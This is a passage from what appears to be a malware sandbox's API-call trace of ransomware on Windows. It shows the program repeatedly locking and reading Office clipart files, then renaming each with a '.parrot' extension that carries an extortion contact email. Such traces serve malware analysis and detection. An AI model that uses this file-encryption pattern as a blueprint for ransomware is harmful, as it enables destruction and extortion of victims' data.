hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.731] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x7b2, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x7b2, lpOverlapped=0x0) returned 1 [0141.731] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.732] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x8ca, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0141.732] CloseHandle (hObject=0x288) returned 1 [0141.732] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0241781.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0241781.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0241781.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0241781.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0141.733] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7268 | out: hHeap=0x5b0000) returned 1 [0141.733] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0141.733] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cee58 | out: hHeap=0x5b0000) returned 1 [0141.735] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x7a50, nNumberOfBytesToLockHigh=0x0) returned 1 [0141.735] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0141.735] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0141.736] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.736] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x7938, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x7938, lpOverlapped=0x0) returned 1 [0141.737] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.739] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x7a50, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0141.739] CloseHandle (hObject=0x288) returned 1 [0141.739] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0250504.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0250504.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0250504.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0250504.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0141.740] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7268 | out: hHeap=0x5b0000) returned 1 [0141.740] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0141.740] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3160050 | out: hHeap=0x5b0000) returned 1 [0141.744] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x6a70, nNumberOfBytesToLockHigh=0x0) returned 1 [0141.744] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0141.744] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0141.745] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.745] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x6958, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x6958, lpOverlapped=0x0) returned 1 [0141.747] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.747] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x6a70, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0141.747] CloseHandle (hObject=0x288) returned 1 [0141.747] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0250997.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0250997.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0250997.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0250997.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0141.748] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0141.748] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0141.748] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3160050 | out: hHeap=0x5b0000) returned 1 [0141.750] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x11124, nNumberOfBytesToLockHigh=0x0) returned 1 [0141.750] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0141.750] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0141.751] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.751] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1100c, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x1100c, lpOverlapped=0x0) returned 1 [0141.754] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.755] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x11124, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0141.755] CloseHandle (hObject=0x288) returned 1 [0141.755] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0251007.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0251007.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0251007.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0251007.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0141.757] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7268 | out: hHeap=0x5b0000) returned 1 [0141.757] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0141.757] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2220088 | out: hHeap=0x5b0000) returned 1 [0141.760] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xbfa, nNumberOfBytesToLockHigh=0x0) returned 1 [0141.760] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0141.760] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0141.761] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.762] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xae2, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xae2, lpOverlapped=0x0) returned 1 [0141.762] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.762] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xbfa, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0141.762] CloseHandle (hObject=0x288) returned 1 [0141.762] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0252629.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0252629.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0252629.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0252629.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0141.763] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7268 | out: hHeap=0x5b0000) returned 1 [0141.763] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0141.763] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cee58 | out: hHeap=0x5b0000) returned 1 [0141.765] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x106e, nNumberOfBytesToLockHigh=0x0) returned 1 [0141.765] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0141.765] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0141.766] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.767] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xf56, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xf56, lpOverlapped=0x0) returned 1 [0141.767] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.767] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x106e, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0141.767] CloseHandle (hObject=0x288) returned 1 [0141.768] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0252669.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0252669.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0252669.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0252669.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0141.769] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7268 | out: hHeap=0x5b0000) returned 1 [0141.769] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0141.769] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x65d2a0 | out: hHeap=0x5b0000) returned 1 [0141.771] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1082, nNumberOfBytesToLockHigh=0x0) returned 1 [0141.771] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0141.771] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0141.772] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.772] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xf6a, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xf6a, lpOverlapped=0x0) returned 1 [0141.773] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.773] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1082, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0141.773] CloseHandle (hObject=0x288) returned 1 [0141.773] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0278702.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0278702.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0278702.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0278702.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0141.774] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7268 | out: hHeap=0x5b0000) returned 1 [0141.774] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0141.774] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x65d2a0 | out: hHeap=0x5b0000) returned 1 [0141.777] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x4448, nNumberOfBytesToLockHigh=0x0) returned 1 [0141.777] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0141.777] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0141.778] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.778] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x4330, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x4330, lpOverlapped=0x0) returned 1 [0141.781] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.781] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x4448, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0141.781] CloseHandle (hObject=0x288) returned 1 [0141.781] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0279644.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0279644.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0279644.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0279644.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0141.784] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7268 | out: hHeap=0x5b0000) returned 1 [0141.784] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0141.784] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3160050 | out: hHeap=0x5b0000) returned 1 [0141.786] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x11f06, nNumberOfBytesToLockHigh=0x0) returned 1 [0141.786] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0141.786] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0141.788] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.788] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x11dee, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x11dee, lpOverlapped=0x0) returned 1 [0141.791] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.792] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x11f06, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0141.792] CloseHandle (hObject=0x288) returned 1 [0141.793] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0280468.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0280468.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0280468.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0280468.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0141.794] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7268 | out: hHeap=0x5b0000) returned 1 [0141.794] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0141.794] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2220088 | out: hHeap=0x5b0000) returned 1 [0141.795] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x95dc, nNumberOfBytesToLockHigh=0x0) returned 1 [0141.795] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0141.795] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0141.852] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.852] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x94c4, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x94c4, lpOverlapped=0x0) returned 1 [0141.861] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.862] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x95dc, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0141.862] CloseHandle (hObject=0x288) returned 1 [0141.862] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0281008.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0281008.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0281008.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0281008.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0141.864] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7268 | out: hHeap=0x5b0000) returned 1 [0141.864] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0141.864] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2210048 | out: hHeap=0x5b0000) returned 1 [0141.866] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xb6cc, nNumberOfBytesToLockHigh=0x0) returned 1 [0141.866] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0141.866] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0141.867] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.868] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xb5b4, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xb5b4, lpOverlapped=0x0) returned 1 [0141.871] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.872] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xb6cc, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0141.872] CloseHandle (hObject=0x288) returned 1 [0141.872] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0281243.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0281243.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0281243.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0281243.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0141.873] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7268 | out: hHeap=0x5b0000) returned 1 [0141.873] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0141.873] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2210048 | out: hHeap=0x5b0000) returned 1 [0141.876] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x32f4, nNumberOfBytesToLockHigh=0x0) returned 1 [0141.876] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0141.876] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0141.877] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.878] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x31dc, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x31dc, lpOverlapped=0x0) returned 1 [0141.878] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0141.880] UnlockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x32f4, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0141.881] CloseHandle (hObject=0x288) returned 1 [0141.881] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0281630.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0281630.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0281630.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0281630.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0141.882] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7268 | out: hHeap=0x5b0000) returned 1 [0141.882] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0141.882] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6ab290 | out: hHeap=0x5b0000) returned 1 [0141.884] LockFile (hFile=0x288, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x396c, nNumberOfBytesToLockHigh=0x0) returned 1 [0141.884] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0141.884] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0141.886] 